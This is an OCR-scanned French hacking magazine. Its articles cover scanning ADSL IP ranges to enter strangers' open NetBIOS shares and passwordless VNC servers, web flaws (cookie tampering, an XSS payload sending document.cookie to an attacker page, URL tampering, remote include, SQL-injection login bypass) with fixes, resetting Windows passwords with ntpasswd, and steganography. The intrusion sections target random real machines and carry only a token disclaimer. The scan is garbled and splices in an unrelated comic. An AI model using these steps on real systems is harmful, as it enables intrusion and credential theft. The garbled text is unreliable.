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Oue faire de hien
auec leurs techniques ?




Il est temps que les gens cessent de prendre les
hackers pour des délinquants, et davantage pour des
lanternes. Le but de ce journal est de présenter des
techniques simples, apparentées a ce que le gros des
médias appelle hacking, et qui - du moins nous trou-
' vons - présentent un intérét pour tout le monde.

. Qu'est-ce qu'un hacker ? Cette question fait couler
| beaucoup d'encre - la preuve - et nécessite d'étre
' éclairée dans plusieurs contextes. Un article de
Wikipédia explique le mot ainsi : « A l'origine, hacker
était un terme désignant au MIT un étudiant imaginatif et
audacieux, repris dans le jargon du Technical Model
Railroad Club (TMRC), dont les premiers hackers informa-
tiques sont issus.

Aujourd'hui, un hacker désigne un spécialiste en informati-
que qui peut intervenir dans la programmation, I'administra-
tion ou la sécurité ;les médias grand public utilisent le terme
hacker dans le sens de « hacker chapeau noir » (black hat)
qui est un « hacker de sécurité de réseau » operant de
facon illégale ou non éthique.

La Délégation générale a la langue francaise et aux langues de

France préconise l'emploi du terme “fouineur”’ mais le terme |-

bidouilleur correspond plus au.sens initial.. »

Mais au dela des mots, il faut s'y mettre pour comprendre, |

Vous avez remarqué la maniére dont nous nous servons |

de Wlklpedla ? Cest parce que nous voyons Ia Iune des

mais vraiment un partage de. <
planetalr'e, auquel t:hacun peut co” mbu‘

tromper : quelqu’ un v;endra corriger ,amer
Clest libre, et ¢a marche.
Clest ce ‘que, @ notre échelle - modeste
essayons de faire. Nous voulons permettre a tous d'ac-
céder simplement, partant d'un minimum de culture
mforﬁ'iatfque, aux bases du hacking. Ces articles tou-
chent @ peu prés tous les domaines et ne sont pas la
pour donner des solutions toutes faites. C'est un
tremplin.

Et c'est peut-étre grice a ces articles que dans quel-
que temps vous pourrez en écrire vous méme (pour-
quoi pas sur Wikipedia) et faire découvrir de nouvel-
les choSes a ceux-la mémes qui ont commencé a vous
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Cet article montre a quel point il peut étre simple
de pénétrer certains ordinateurs en quelques
clics. Bien que les deux types de failles présen-
tées, Netbios et VNC, soient des classiques, eliles
sont pourtant encore un peu répandues.

Bl ne s'agit pas ici de
* faire un cours de pira-
W tage, mais plutdt de
montrer par deux exem-
ples faciles a expérimen-
ter qu'une intrusion sim-
ple n'a rien de magique. |l
s'agit simplement de pro-
fiter d'erreurs de confi-
guration ou de défauts
dans les logiciels afin
d'accéder a des ressour-
ces a priori protégées.
On le fera ici par l'inter-
médiaire d'outils assez
classiques.

Netbios
Linterface Netbios est
trées  utilisée  pour

Windows, par exemple
pour partager des res-
sources réseau telles que
des fichiers ou des impri-
mantes. C'est pratique,
mais trés mal sécuriseé.

Comment s'en rendre
compte ! Vous avez
besoin de deux logiciels :
Internet Explorer, et un
scanner de port, celui que
vous préférez... Nous
prendrons ici Superscan
version 3 pour Windows
(disponible sur :
}'3‘?;{7_;,'_,,-‘.,f\«\_.-a.v'-.,fx;v,!fr UNdstone.comy
; la version 4 n'est pas
terrible a mon golt, elle
ne fonctionne d'ailleurs
que sur XP et 2k). Dans
un premier temps, le but

Adresse |

Port ?

Pour rappel, chaque ordinateur connecté directement a
Internet est identifiable par une odresse unique, formée de
quatre chiffres (123.123.123.123). Les postes interconnectés

dans un réseau local via TCP/IP sont également identifiés par
une adresse IP locale (par convention, on ufilise les sous-

réseaux 192.168."." ou 10.”.

.*). lls ne sont pas accessibles

directiement depuis I'extérieur, ce qui fuit que deux ordinateurs

sur des lans différents peuvent irés bien avoir la méme IP |

(192.168.1.101, par exemple) sans que cela pose de probléme.
Pour accéder a un service proposé par une machine (serveur
weh, compte POP, etc.) il faut, en plus de I'udresse IP. spécifier
un port qui identifie ce service (un numéro, choisi selon certai-
nes conventions ou arbitrairement). A partir de ces deux infor-
mations, on peut initier une connexion TCP.

de la manipulation est de

trouver le plus grand

nombre de personnes

qui ont le port de

Netbios ouvert.

Ce qui est trés fort c’est
vous n'avez pas

besoi
tage
votr
exem pour que ce
port soit ouvert (merci

Wmd;:ws 1. On va donc
scanner un ensemble
d’adresses IP, mais pas
nimporte lesquelles. En
effet, nous allons cher-

cher des ordi
restent connectés en
permanence — la meilleur
cible étant les
connexions haut-débit.
Or, les fournisseurs d'ac-
cés a Internet distribuent
toujours les mémes IPs
aux connexions ADSL. Si
vous l'avez, prenez des
IPs qui sont autour de la
votre, Yous serez certain
de scanner des ordina-
teurs doté de I'ADSL.
Par exemple, si votre IP
est 257.124.25.13, il fau-

dra faire un scan de

257.124480 0,
Re4 225,255, ¢l iie
logiciel scannera 255 IPs

- qui aurons I'’ADSL a coup
- slir. Pour lui indiquer de
‘scanner seulement ces

IPs, il faut indiquer celle
de depart et celle d'arri-
vée, en d'autres termes,
la premiére et la der-

. niére. Il va donc prendre
chaque P une i une et

scanner les ports a la

| recherche 'de ceux qui
_sont ouverts.

Ce qui nous intéresse,

‘c’est Netbios, donc le

port 139. Il suffit de dire
au scanner de restrein-
dre le scan au port 139
(le port de départ et
celui d’arrivé est le
méme : le 139). Sur le
screenshot, le rang d’'IP
est a gauche et le port
est bien réglé...

En 30 secondes, on peut
scanner plus de 750 IPs.
Sur toutes ces IPs, environ
la moitié des ordinateurs
sont actifs et le port 139
d'un tiers d'entre eux
ouvert. victimes

Ces




potentielles sont indi-
quées par Superscan, avec
un petit plus a coté de 'l
Le but, maintenant, est
de trouver ceux qui
n'ont pas mis Windows a
jour ou qui n‘ont pas de
firewall. C’est le moment
d’utiliser Internet
Explorer. C’est tout béte,
il suffit de recopier les
adresses (celles indi-

quées par Superscan par

._Nam dutisatesr :

un +) dans la barre
d’adresse d'Internet
Explorer de cette fagon :
\257.124.25.13 (\\ipdela-
machine). Il faut tester
toutes les adresses et
vous tomberez, a un
moment ou a un autre,
sur une IP qui fonc-
tionne. Les résultats de
chaque requéte seront
de trois types :

® une erreur ! vous ne

Mot depasse:

pouvez pas rentrer, lais-
sez tomber... Le moin-
dre firewall bloque ce
genre d’attaque
(comme quoi, ¢a sert
quand méme a quelque
chose !).

@ une invite de
connexion (voir illustra-
tion) : Windows est
peut-étre a jour, ou la
personne a eu la bonne
idée de mettre un mot
de passe que les plus
forts d'entre vous peu-
vent essayer de cracker.
Certains logiciels sont
spécialisés = dans le
cracking des passes
Netbios, mais ce n'est
pas tres intéressant vu la
lenteur des requétes...

® une page contenant
des dossiers partagés

gagné, c'est les fichiers
de l'ordinateur cible. A
tous les coups, vous avez
I'acces en écriture, puis-
que le propriétaire pense
partager ses ressources

uniquement sur son pro-
pre réseau... erreur !
Pour pousser le vice
encore plus loin, si une

imprimante est partagée, |

vous pouvez l'utiliser...

Si vous allez assez vite, |

VOUS pouvez en tester

une centaine en 5 minu~

tes. Et d’aprés mes statis-

tiques, sur 100 pc testés,

une dizaine fonctionne et

sur cette dizaine, on peut
accéder a un PC qui par-
tage entierement son dis-
que dur... ¢a fait peur !

Avec VNE

C'est quoi ! VNC (pour
Virtual Network
Computing) est un free-
ware qui tourne sur
presque tous les types
d'ordinateurs. C'est une
application client/serveur
qui permet de controler
un ordinateur a distance,
comme si l'on etait
devant I'écran : quand le
client se connecte au
serveur, une fenétre
s‘ouvre avec une repro-
duction de l'écran de
I'ordinateur serveur,
dans laquelle vous pou-

vez bouger la souris et |

taper au clavier, comme si
vous étiez sur place.
C'est trés utile, par

exemple pour ['appren- |

tissage : une personne

vous demande un conseil |
et vous pouvez lui mon- |

trer en direct les manipu-

lations a faire sur son PC. |

Généralement, un mot

de passe limite I'accés au |

serveur

VNC...4

Généralement ! En effet,

certains utilisateurs, peu

soucieux de leur sécu- |
rité, ne mettent pas de |

mot de passe. Il arrive

aussi qu'avec certaines




installation de Windows,
VNC se lance automati-
quement sans que vous
le sachiez, et sans mot de
passe...
On peut utiliser un scan-
ner de ports de la méme
maniére que précédem-
ment pour trouver des
serveur VNC. Comme il
y a deux ports, le 5800 et
le 5900, je vous conseille
deso eréer imun = fichier
nommé vnc.lst dans le
dossier de superscan,
contenant ceci :

+ . 5800 MNE: -,

b, 5900, VR, )

Ensuite, chargez la liste
dans le gestionnaire des
listes de Superscan et
selectionnez « Every
port in list » dans le pan-
neau principal. Comme
pour Netbios, sélection-
nez une plage d'IP et
scannez. Puis prenez
votre client VNC et tes-
tez une par une toutes
les IP obtenues.

Sachez qu'il est extréme-
ment rare, de nos jours,
de trouver un serveur
sans mot de passe. Mais
si vous tombez sur la
perle rare, effet garanti
pour la personne qui voit
sa souris bouger toute
seule !

Cet article reste bien siir
théorique... Je ne vous
rappelle pas les sanctions
pour les intrusions de ce
genre, surtout que pour
quelqu'un qui s'y connait
un peu, il est aussi facile
de repérer ces attaque
que pour vous de les
perpétrer ! |l est décon-
seillé de pénétrer un
ordinateur, surtout par
ces methodes, car

Connection details

aucune précaution n’est
prise. Je vous invite plu-
tot 4 vous amuser et a
les expérimenter sur
votre reseau local, cu
avec l'ordinateur d'une
victime consentante...

Capashen

=N N S

VEF

: usaméstm-

=l

e.g. Shoopy.2
[Dmplwdafu&stnﬁifuw]

Options...

La meilleure maniere de vérifier si I'on est vuinérable ou non
reste encore de tester ces attaques sur soi-méme. Il faut paur
cela utiliser son adresse IP externe (hit -

Si ces ports sonf ouverts, et a fortiori si les services corres pun—
danfs ne sonf pas protégés par un mot de passe, il faut soit les
désactiver (par l'intermédiaire du panneau de configuration
de Windows), soit installer un firewall et bloquer ces ports. Le
firewall intégré @ Windows XP peut foire 'affaire. Sinon,
une bonne alternative gratvite est Zone Alarm




i. Problémes
dans les
cookies

Ce qu’il faut savoir
Les cookies sont de sim-
ples petits fichiers qui
sont stockés sur votre
ordinateur. En général, on
peut y trouver des infor-
mations comme la cou-
leur de fond que vous
préférez pour le site.
Leur contenu se pré-
sente sous cette forme :
Information=valeur
Certains sites y stockent
votre pseudo et votre mot
de passe de maniéere cryp-
tée (souvent un simple
hash md5) afin que vous
puissiez rester identifie.

La pratique

Jai déja vu certains sites
stocker des informations
particulierement sensi-
bles dans ces cookies.
Comme par exemple le
fait que I'on soit adminis-
trateur ou non. D’ou
vient le probléeme ? Eh
bien vous pouvez modi-
fier comme vous le vou-
lez le contenu des coo-
kies présents sur votre
ordinateur ! Donc si vous
trouviez dans un cookie :
Admin=0 (c'est du
binaire donc false (bon
"faux" quoi =p ))

Vous pourriez le rempla-
cer par :

Admin=1 (true ( j'ai

besoin de la refaire 1? ))
Et vous serriez alors
administrateur du site
concerne,

Il existe un trées grand nombre de failles exploita-
bles tres facilement sur les sites web. Le nombre
de sites potentiellement vulnérables a ces failles
est beaucoup plus important que I'on ne pourrait

le croire. Cet article

ermet ainsi a tous d'évaluer

les menaces auxquelles doit faire face tout site
internet. Deux angles seront ainsi abordés : la
technique d'attaque et la méthode de sécurisation.

La solution pour
webmaster
Ne mettez jamais d'in-

formations critiques
dans un cookie. Pensez
également que vous pou-
vez utiliser les sessions.

2. Les failles
XSS
Ce qu’il faut savoir

Cette faille est apparue
lorsque les internautes
ont commenceé a pouvoir
faire de la mise en forme
sur des sites ou des
forums, et notamment
lorsqu'il est devenu possi-
ble d'insérer des images.

Ce qu'il faut savoir, c’'est
que derriere les pages
qui sont affichées sur un

forum, il y a tout un sys-
téme qui se charge d'in-
terpréter le texte que
l'internaute a saisi pour
en faire la mise en forme
si besoin est.

Si vous avez visité quel-
ques forums, vous devez
certainement connaitre
le BBCode invente par
Péquipe qui a créé le

o




forum PHPBB. Et vous
devez donc savoir que
pour insérer une image
en BBCode il faudra
écrire le code suivant :
g PR g it mo -
site.comimoni-
mage.glE] /url)

La faille dont nous parle-
rons ne fonctionne heu-
reusement. pas sur le
forum PHPBB mais beau-
coup d'autres sites ont
repris le BBCode et ont
créé leur propre sys-
teme d’interprétation.
C'est de la que vient le
probléme ; ces systémes
d'interprétation offrent
la possibilite d’exploiter
les failles XSS.

La pratique

Nous prendrons ici le
cas d’'une image.
Lorsqu'on souhaite
qu'un navigateur affiche
une image, on doit lui
indiquer le code suivant :
<img

Bro="ht t‘o : //fmon-
site.ocam/mani -
mage.gif ">

Ce code admet un para-
métre qui est OnError.
On pourra donc indiquer
une action a accomplir
lorsque le navigateur
rencontre un probleme
par rapport a l'image a
afficher. Cette erreur
peut eétre le resultat
d’'une image introuvable
ou inexistante.

Dans le paramétre
OnError, on peut indi-

quer du code java script,
qui normalement est
interdit sur les forums
pour des raisons de
sécurité. '

Alors si on ecrivait dans
une page web le code
suivant ;

m
sre="htlp: [/ mon-
site.com/moni-
mage.gif- " i
CnRrrer="ton. 1 oo
ation="http://mo
ngite.com/mapage
.phpithecoo-
kie="'+do

@

ul'f\.
-

{_JUN....O'_'} py
le navigateur qui qute-
rait notre page  Serait
automatiquement redi-
rigé vers la’ page
http://monsite.cem/mapa

ge.php. Cette page rece-

vrait le cmtanu

pour
l'on puisse

Soit il ,aglt d'un forum
qui atccap’ne tout simple-
ment e html (option qui

t - disponible  dans

PHPBB) et dans ce cas il
suffirait de saisir le code

cument.g’| systéme

html tel quel. Soit il s’agit
d’'un forum qui accepte
le BBCode et la c’est un
peu meins évident :
[imglhttp:/ /mon-
site.,com/moni-
mage.g1 Hl url]
est remplacé par
< 110G
grcaThtbney
site.com/moni-
mage.gif ">,

G test. dono

hbtp: //monsite.c
om/monimage.gil
gui est prig en
compte par. le
diinber-
prétation. Donc
si 1'on écrit
[1mglhtbtp:s/ /mon
gite.com/moni-
magoe.,gif"

Sk o=
top.location="ht
Ep://mensite. com
/mapage.php?the-

/mon -

cockie=' +docu=
ment.cockie
Frfarel]

on obtient encore :
<img

groe="hitltp: A/ mon-

gite.com/moni-
mage.gif "
Onbrrors"Eop.lod
ation='hHttpy//mo
ngite.con/mapage
.php?Lhecoo
kie="+document .c
ookie

On aurait récupéré le
cookie du forum... On
pourrait donc s'identifier
avec le compte de |a per-
sonne qui est arrivée sur

grace a

notre page
OnéError.

Ceci n'est qu'un exemple
de I'application des failles
XS8S. Dlailleurs, elles ne
se trouvent pas uniques
ment dans les forums,
elles peuvent-étre dans
tout endroit ou I'on doit
saisif 'du texte et per-

‘mettent ainsi des choses

bien plus terribles. Alors
mefiance...

La solution pour

- webmaster

En reghe genera!e. ne lais-

du ha‘:rn! et veﬂf“ iez systé-
mmquement les champs
oll une saisie pourrait
étre effectuée. La fonc-

tlc'.-anHP m“lencode() est

qu’il faut savoir
he url est l'adresse

grace a laquelle vous

accédez aux sites et aux
pages web, c'est donc
l'adresse qui est affichee
dans la barre d'adresse
de votre navigateur. Dans
cette adresse, vous avez
peut-étre déja vu des
choses du genre
http: Jisite. con/

Zlitem= ]Ub4&m.r L
g~chose ”. En fait, la
page va recevoir deux
variables, l'une sera *
item ” et ['autre " bidule
", elles auront respecti-
vement pour valeur “




1084 ” et “ chose ". A
partir de ces informa-
tions, le code de la page
va déterminer ce qu'il
doit faire.

La pratique

Nous allons prendre un
exemple puisqu'’il
n'existe pas vraiment de
généralité a ce sujet.
Imaginez un site qui res-
treint les télécharge-
ments aux personnes qui
se sont identifiées, mais
qui autorise les autres
personnes a visualiser les
descriptions de ces télé-
chargements.

Allons donc voir la des-
cription d’'un des télé-
chargements et regar-
dons l'adresse.

Voici ce que j’ai vu
sur un site :
http://site.com/
downlodds/?actio
n=wiev_item&item
2id=1084

Décomposons |'adresse :
htbEps//site.com/
downloads/ >> On
nous emmeéne simple-
ment sur la bonne page.
action=wiev_item >>
On indique l'action que
la page doit accomplir.
item_id=1084 >> On
indique [I'identifiant du
téléchargement
concerne.

Alors comme action, ici

nous avons * wiev_item
", autrement dit *
voir_objet .

Et si on voulait téléchar-
ger ! On pourrait rempla-
cer“ voir " par “ téléchar-
ger ", autrement dit “
wiev ” par “ download .

(1]

On obtiendrait donc
cette adresse :
http://site.com/
downloads/?actio
n=download_ item&
item id=1084

Ce genre de faille est
assez frequent et
demande une petite
réflexion ! En outre il ne
concerne pas seulement
les téléchargements mais
beaucoup d’autres cho-
ses. Et si un jour vous
voyez dans une adresse
admin=0 ”, alors le web-
master peut vraiment
s'inquiéter pour son site !

La solution pour
webmaster

Ne faites jamais
confiance aux url simple-

ment, il faut toujours
effectuer le maximum de
controles possibles sur
les url.

4. Failles
d’include avec
variable

Ce qu’il faut savoir
Linstruction include, dis-
ponible en PHP, permet
de faire appel a un autre
fichier PHP distant ou
non, en l'intégrant com-
pletement au fichier qui
I'appelle, lui donnant
donc les mémes droits.
De plus, une application
écrite en PHP peut lire,
écrire et supprimer des
fichiers, accéder aux
bases de données et
plein d'autres choses
encore.

La pratique

La encore il faut étudier les
url, par exemple si vous
voyez un jour une page dont
ladresse est la suivante :
page.php?page=ne
ws . php, vous pouvez
étre pratiquement cer-
tain que cette page
index.php va inclure une
page appelée news.php.
Mais si dans [|'adresse
vous remplaciez
news.php par:

http: //monsite &
om/mapage.php,
alors vous obtiendriez
I'adresse suivante :
http://site.com/
index.php?page=
http://monsite.¢
om/mapage .php

Et dans ce cas, c'est
votre page a vous qui
serait incluse !

La solution pour
webmaster
Compte tenu de I'impor-
tance de la faille, vous
pourriez voir votre site
entiérement détruit ou
remplacé... N'utilisez
donc pas de variables
pour vos includes mais
plutot des noms de
pages :
- include(S$var) ;
PAS BIEN
L enselzur
comme dang un
film célebre...)
- include
('news.php');
BIEN !

5.Le SQL
injection

Ce qu’il faut savoir
Comme son nom [l'indi-
que, le SQL injection
permet d’injecter du
code SQL dans 'une
application web.




Mais le SQL, c’est quoi ?
Le SQL est un langage de
manipulation de don-
nées. Il permet, entre
autres, d’obtenir, modi-
fier et supprimer des
données dans une base.

Voici un exemple de ce
que l'on appelle une
requéte écrite en langage
SQL et pour MySQL (qui
est le gestionnaire de
bases de donneées le plus
répandu sur internet) :
SELECT num_mbe’
FROM ‘membres’
WHERE ‘pseudo’ =
'Spseudo' AND

S o b RS e e i

Ici, nous avons les trois
clauses principales qui
sont SELECT, FROM et
WHERE. Dans le select,
nous choisissons d’obte-
nir le numéro de la per-
sonne qui souhaite
s'identifier. Dans le from,
nous choisissons d’effec-
tuer notre recherche
dans la table “ membres ”
et dans le where, nous
insérons la condition qui
est la suivante :

o Le pseudo doit étre égal
au pseudo saisi qui a eté
récupéré par PHP sous la
forme de la variable $pseudo.

ET

e Le mot de passe doit
étre égal au mot de
passe saisi qui a été récu-
péré par PHP sous la
forme de la variable

$mdp.

La pratique

Toujours avec la méme
requéte, si dans le for-
mulaire d’identification
un visiteur saisit le texte
suivant :

Pseudo  :admin
Mot de passé
Y dall s B

alors la requéte
avec la valeur
des wvariables
PHP deviendrait
SELECT " num_mbe
FROM “membres’
WHERE 'pseudo’ =
'admin' AND
Hidse g vy

s

| Sachant que la condition

est toujours vraie, le
mot de passe n'est donc
pas vérifié...

Dés lors qu'il y a un
membre inscrit _sur le
site, cett : s

vent présenter bien plus

La solution pour

webmaster
La ‘librairie PHP de
MySQL comprend ka fonction

| mysql_real_escape_string().
. Blle permet dignorer ce qui

devrait étre_interpréte

ans la requéte.
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Les tribulations de Gaspard

Un sacré phénoméne, ce Gaspard ! Jour aprés jour,
Chioé nous en dit un peu plus sur son compagnon de
fortune. Au menu ce soir, les déboires du

Avec Gaspard, on avait décidé de se payer du bon temps. i
aval flairé una "Dog party" au dernier &tage d'une bétisse
abandonnée. Poils brossés ef coussinets cirés exigés | Vers

nightclubber-clébard,

minult, on s'est pointé & fentrée. Les deux molosses qui
montaiert la garde nous ort reluqués de la téte aux pattes et
nous ont grognés : "Yous avez un pedigree 7" Bien sr, on
n'avail rien de tout cela. C'est Ia que je sors mon grand
numéro, Je frétile de la queue, me mordille innocemment les
habines et fais mes yeux de cocker * etfet garanli | Les deux
cerbéres ort faill s'étoufier avec leur bave... En haut, c'était

-

ambiance "Woodsdog". La 1éte étalt "caninissime", mais au
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" maginez, vous démar-
rez votre ordinateur,
vous arrivez sur la

page de démarrage ou

vous devez rentrer le

SAS (Security Attention

Sequence, ou dit de

maniere plus concréte :

Ctrl-Alt-Del). Vous ren-

trez le nom d'utilisateur

et votre mot de passe
mais ce dernier est
refusé. Ah ! Peut-étre
que vous l'avez oublié ?

Ou peut-étre méme que

vous ne l'avez jamais eu...

Autre cas de figure, vous
possédez un compte qui
n'est pas administrateur
et vous souhaitez par
exemple configurer
votre réseau . local.
Encore une fois, vous
devez vous connecter en

administrateur pour
avoir les  privileges |
nécessaires. Privileges

que vous pourriez aug-
menter en exploitation
une faille de sécurité,
mais ce n'est pas tou-
jours évident.

Vous étes vraiment en
galere, comme on dit, et
vous ne possédez pas
d'autres comptes sur la
machine en question.
Mais ntpasswd est un
programme que l'on
pourrait qualifier de
miraculeux dans ce
genre de situation. En
quelques mots, a l'aide
d'une simple disquette,
vous allez étre capable
de changer n'importe

Vous pensiez que ce mot de passe que I'on vous
demande au demarrage vous protégeait de ceux
ui ont acces a votre clavier ? Perdu, il est tout a
ait possible, pour quiconque, de changer un tel
gass. Ce qui veut dire qu'il vous est aussi possi-
erdu votre mot de passe, de le

‘accéder malgré tout a votre
machine. C'est ce que nous allons voir dans cet

le, si vous avez
remplacer afin

article...

quels mots de passe sur
l'ordinateur en question.

Alors, suivez a la lettre
notre recette de cui-
sine...

Iingrédients
Premierement yous
aurez besoin d'un cer-
veau, d'un oeil au mini-
mum et d'une main, ¢a
devrait suffire.Vous aurez
besoin d'un deuxiéme
ordinateur pour effec-
teur ces préparatifs, et
d'une disquette absolu-
ment vierge . Ensuite il
ne vous restera plus qu'a
télécharger rawrite et
ntpasswd et passer a la
suite des explications !

Préparation
de la disquette
Par facilité, nous avons
préféré choisir un raw-
rite en gui (avec assis-
tance graphique) pour
que vous puissiez copier
I'image  (binaire) de
ntpasswd en quelques
clics de souris (on vous
connait, bande de flem-
mards). Le fichier se
N ov e e
"RAWRITEXP.EXE".
Lancez-le et allez cher-

awWrite

fichier bin

cher le
nommé "bd041205.bin",
N'oubliez pas de changer
le type de fichier sinon
Vous ne verrez pas le
fichier en question.

Insérez votre disquette
vierge et cliquez sur
Write. Attendez 2 minu-
tes, vous pouvez voir les
pourcentages graduant
vers 100 puis un message
vous confirme que votre
image a bien été copiée.
Si vous possédez un lec-

teur de disquettes scsi,
un répertoire nommé
“scsi" dans la disquette
est prévu pour que vous
puissiez mettre les dri-
vers propres a votre
matériel, disponible dans
le fichier zip
"sc041205.zip".

Sachez que vous pouvez
également faire un CD
au lieu de la disquette en
gravant |'image ISO nom-
mée  "cd041205.is0".
Nous n'expliquerons pas




Information

ce cher Petter NORDHAL-
HAGEN, comme le montre
la screen |.

comment graver une
image CD, google is your
friend.

Maintenant équipés, pas-
sons a l'action.

Iinvestigation
Avant de commencer,
sachez que votre clavier
ne fonctionnera plus en
AZERTY mais en
QUERTY.Vous allez donc
devoir connaitre les tou-
ches qui correspondent
a celles dont vous aurez
besoin, a moins de jouer
au loto ou d'avoir fait
réjouissances avec quel-
que anglophone...

Disquette en main, per-
mission du bios OK pour
démarrage par le lecteur

de disquettes, enfoncez la
correctement (visez le trou)
et laissez charger l'outil de

Rappelons que ntpasswd
n'est pas uniquement un
éditeur de fichier SAM
mais presque un couteau
suisse : il est capable
d'éditer la base de regis-
tres (supprimer une clef

ou une valeur), de déblo-,

quer ou de bloquer un
compte, d'activer SYSKEY
ou de lesdésactiver ou

méme de ne plus deman-

der de mot de passe

lorsqu'on souhaite utili-
ser la console de récupé-
ration (voir screen 2).

Comme vous le voyez,
ntpasswd contient un
outil de son créateur
qu'il a préféré integrer
dans ce merveilleux sys-
témé du nom de
“chntpwd". De plus,
ntpasswd fonctionne sur
tous les Windows, c'est a
dire sur les NT4, les

2000, les XP et les 2003.

AZERTY




Le RID
(Relative
Identifier)
est la der-
niére partie
du SID qui
est propre
a chaque
utilisateur.
Le RID 500
est  tou-
jours le
compite
administra-

2. Ecran de présentation

Choix de la
partition

Vous étes a la premiere
étape et vous devez choi-
sir la partition sur laquelle
le fichier SAM est stocke. Il
s'agit de la partition ou
votre Windows est ins-
tallé. Le programme est
malin, il la sélectionne par
défaut et vous n'avez qu'a
faire "entrée”  sur votre
clavier pour valider. En cas
de probleme, vous pouvez

relister les partitions en

appuyant sur la touche
ou la touche. La touche "a"
montre quant a elle l'en-
semble des partitions. |l
existe aussi une option
permettant de  charger
manuellement des drivers

(SCSI Raidi.etcy avee. la by 1 i : ,
‘Edition des comptes |

touche "m". Aprés chaque

choix, vous devez valider |

en pressant la touche

"Entrée".

.€hoix du chemin

vers le fichier SAM

Vous devriez voir la liste
des ruches (hives, en
anglais) apparaitre, qui, je
le rappelle, sont des
fichiers inaccessibles

“lorsque I'OS est en cours

d'exécution. Faites
1L} 4 " .
Entrée" pour valider le
choix |.

et mots de passe
Un résumé de l'ensemble
des comptes est effectué

3. L'effort de la journée : appuyer sur Entrée

puis on vous demande de
choisir entre |'édition des
comptes et des mots de
passe, le changement du
statut de SYSKEY ou l'édi-
tion du registre. Tapez
“"Entrée” pour sélection-
ner le choix | étant donné
que l'on souhaite changer
le mot de passe d'un
compte (voir screen 5).

Liste des comptes
liste. des: comptes

apparait avec a coté le

RID de chaque utilisateur.

teur. Le

compte
administrateur sera
choisi par défaut, mais si
vous désirez éditer un
autre compte, il vous
faudra recopier le RID
qui est écrit en hexade-
cimal ou écrire, tout
simplement, le nom du
compte exact. Faites
"Entrée” pour valider
(voir screen 6).

B 4. Une copie du fichier SAM est faite. Bravo, vous étes une grosse béte.




5. Menu principal

Changement du
mot de passe

Toutes les caractéristi- | |

ques du compte en ques-
tion sont affichées et il
vous a été demandé de
taper le nouveau mot de
passe. Préférez mettre
une étoile, "*", pour lais-
ser le mot de passe blanc
au lieu de le redéfinir
tout de suite. Tapez
"Entrée” pour valider.
Une confirmation est
ensuite nécessaire, tapez
"y" et "Entrée" (voir
screen 7).

7. Confirmation

Si vous n'avez plus d'au-
tre compte a éditer, fai-
tes "!" et "q". Encore
une confirmation,
ntpasswd ne veut plus
vous lacher et vous
demande si vous voulez
retourner editer un
compte, a vous de choi-

sir (voir.screen 8).

6. Liste d'utilisateurs

. avons donné

a puissance de

tiliser votre
machine, Pour un profes-
sionnel, les solutions a ce

manque de sécurité sont
peu nombreuses si d'au-
tres personnes ont un
accés physique sur Ila
machine. Rien n'empéche
un frauduleux garnement
de démonter le disque
dur...Vous pouvez proté-
ger vos machines en éta-
blissant un mot de passe
au Bios, en désactivant le
démarrage par disquette

ou par lecteur de CD ou
carrément en les enfer-
mant & triple tour dans
un local.

XeloRy
Liens :

(B ftpult
@




maginez I'ampleur du
travail si I'on se mettait
en téte de vérifier cha-
que fichier de votre sys-
téeme a la recherche de
texte caché. Surtout qu'il
n'est pas toujours facile
de déterminer si un
fichier contient des don-
nées stéganographiées.
Vous voyez donc que ce
peut étre une bonne
maniere de dissimuler
des données confidentiel-
les sur un ordinateur,
exposé ou public.

Les fans du Manuel des
castors juniors connais-
sent |'encre sympathique :
du jus de citron qui
devient visible lorsqu'il est
a proximité d'une source
de chaleur. On peut y voir
une premiére méthode
de stéganographie. Mais
rassurez-vous, ce procédé
archaique est depuis long-
temps remplacé par des
méthodes bien plus effica-
ces, notamment depuis
I'avénement de l'informa-
tique. L'exemple de stéga-
nographie moderne le
plus courant est la dissi-
mulation de texte dans
une image : c'est celui que
nous allons  étudier
aujourd'hui.

Point par point
Avant d'entamer cette
étude théorique, attar-
dons-nous un peu sur les
caractéristiques  d'une

image au format le plus
simple : .bmp. Pour un

Le principe de la stéganographie est d'utiliser un
support, par exemple une imag
des donnees d'une autre nature.
que pourquoi on ne peut pas facilement détecter
cet excédent de données si on ne s'y attend pas.

ordinateur, une image est
une suite de pixels (le
pixel est I'élément de
base d'une image ou d'un
écran, c'est-a-dire un
point colore). Dans ce
format, la couleur de cha-
que pixel est une compo-
sée des trois couleurs de
primaires : rouge, vert et
bleu (synthése additive;
ne pas confondre avec le
CMJN - cyan, magenta,
jaune, noir - utilisé
notamment en imprime-
rie : synthese soustrac-
tive) : on dit qu'il utilise le
codage RVB (je vous
laisse deviner d’'ou vient
le nom du codage ;-)

Au niveaux du stockage,
chaque pixel est donc
codé par trois nombres
correspondants a l'inten-
sité de chaque couleur
dans cet ordre: rouge,
vert, bleu. Certains for-
mats permettent de spé-
cifier une troisieme com-
posante la transpa-
rence. En imprimerie, on
a aussi une composante
encre noire.

Un peu de mathémati-
ques maintenant mais
rien de bien compliqué :
Un nombre hexadécimal
est un nombre en base
16. Je m'explique : quand
vous comptez normale-

ment, vous comptez de 0
jusqu'a 9, puis vous ajou-
tez | devant et vous
recommencez a 0 der-
riére : vous étes alors en
base 10 (c'est un nombre
décimal), c'est-a-dire que
vous comptez avec |0
"signes”: 0 a2 9. En hexa-
décimal, les nombres
sont en base 16 : on uti-
lise donc combien de
signe ?

Si vous avez répondu |16,
vous pouvez continuer,
sinon plongez-vous la
téte dans un sceau d'eau
froide et relisez le para-
graphe. En effet, en plus
des chiffres de 0 32 9, on
utilise les lettres A 2 F de
notre alphabet, ce qui fait
16 signes différents.
Donc, si vous avez suivi :
A vaut 10 en décimal, B
vaut | |, etc. jusqu'a F qui
vaut |5 (toujours en
décimal).

On compte ainsi : 0, |, ...
$ABCDERID H, ..
19, 1A, 1B, ... IF, 20, etc.
Rassurez-vous, vous
n'étes pas obligé de faire
ces calculs a la main si
vous n'étes pas habitué a
I'nexa(décimal) : la calecu-
latrice de Windows
(Démarrer > Exécuter >
calc) le fait tres bien (en
affichage  scientifique
mode hexa).

¢

pour y cacher
et article expli-

Bon, c'est bien beau tout
¢a, mais quel est le rap-
port avec la choucroute ?
Le voici : en bmp, chaque
composante de couleur
est un nombre entre 0 et
255, soit entre 0 et FF en
hexa (essayez donc sur la
calculette). Une couleur
peut donc étre codée
par un suite de trois
nombres (chacun com-
pris entre 0 et FF), les-
quels correspondent aux
trois composantes
rouge, vert et bleu (dans
cet ordre). Ce code,
appelé code hexadécimal
(le méme qui est utilisé
pour coder les couleurs
dans les pages web), res-
semble donc a ceci
#E322F6.

On peut le décomposer
